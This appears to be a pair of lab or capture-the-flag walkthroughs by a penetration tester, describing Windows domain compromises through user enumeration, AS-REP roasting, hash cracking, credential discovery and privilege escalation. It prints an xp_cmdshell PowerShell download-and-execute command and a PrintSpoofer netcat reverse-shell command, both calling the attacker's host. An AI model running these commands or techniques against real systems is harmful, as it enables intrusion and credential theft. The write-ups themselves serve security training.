
We launch nmap a bit "aggressive" (but we are in a controlled environment and we can afford it :P), to all ports and with verbosity to discover ports as nmap is getting them.


We access the web service, find the corporate website and list some of the organization's users. This is great, as we could use them to brute force some exposed service.

We use the nikto tool, it discovers the directory "/backup/.

Accessing the directory, we find an office file containing the name and username of the employees.


We use the kerbrute tool to check which users exist, it quickly lists the user "lparker".

Once we have a user, we can check if the account is ASReproastable and consult its hash in the KDC.

We crack the hash with hashcat and rockyou dictionary, we will get the password in clear.


We do a reconnaissance, we see that AV is enabled in the system and it prevents us from running some reconnaissance binaries.
Seeing that I can't find anything, I launch ldapsearch with the credentials and coincidentally, I find some flat credentials in the description of the user "jmurphy".


We use the credentials of the new user, read the user flag and see the privileges.... Oh wow! The privilege escalation looks good ;)

We make use of the great tool evil-winrm and this article from HackPlayers. Actually the vulnerability allows to abuse the backup privilege to write and restore the modified ACLs as we wish.

We connect with our user and read the administrator flag.

Once we have gained access, it is time to obtain the hashes of the most relevant users.



David Utón is Penetration Tester and security auditor for web and mobiles applications, perimeter networks, internal and industrial corporate infrastructures, and wireless networks.

We perform a quick and aggressive scan (not recommended in real environments) to detect open ports on the server.

Then, knowing the ports, we will launch an nmap with scripts and versions.

We test if we can authenticate with an anonymous user, we see that we cannot.

Another test that I usually do in real environments, is to test with the "guest" user, which is usually enabled by default. As you can see in the evidence, we can use it to get the users by their RID.

We create a list of the most relevant users obtained and brute force the "rockyou" dictionary. We will get some credentials.

After several tests in different services, we found that the credentials are functional in the "Microsoft SQL Server" service, from here we will be able to load a reverse shell.

xp_cmdshell powershell IEX(New-Object Net.webclient).downloadString(\"http://10.11.30.149:8000/m3.ps1\")

We tried to read the user flag, but we do not have access. We check the user's privileges and see that we could escalate by impersonating the user "Administrator" using "SeImpersonatePrivilege".

We identify the exact version of Windows installed.

We download the PrintSpoofer exploit from this github, we also download netcat to the victim machine and run the following command putting a listening netcat on our Kali.
.\PrintSpoofer.exe -c "C:\users\SVC-Kerb.DC01\Videos\nc.exe 10.11.30.149 444 -e cmd"


And now we read the two flags.


David Utón is Penetration Tester and security auditor for web and mobiles applications, perimeter networks, internal and industrial corporate infrastructures, and wireless networks.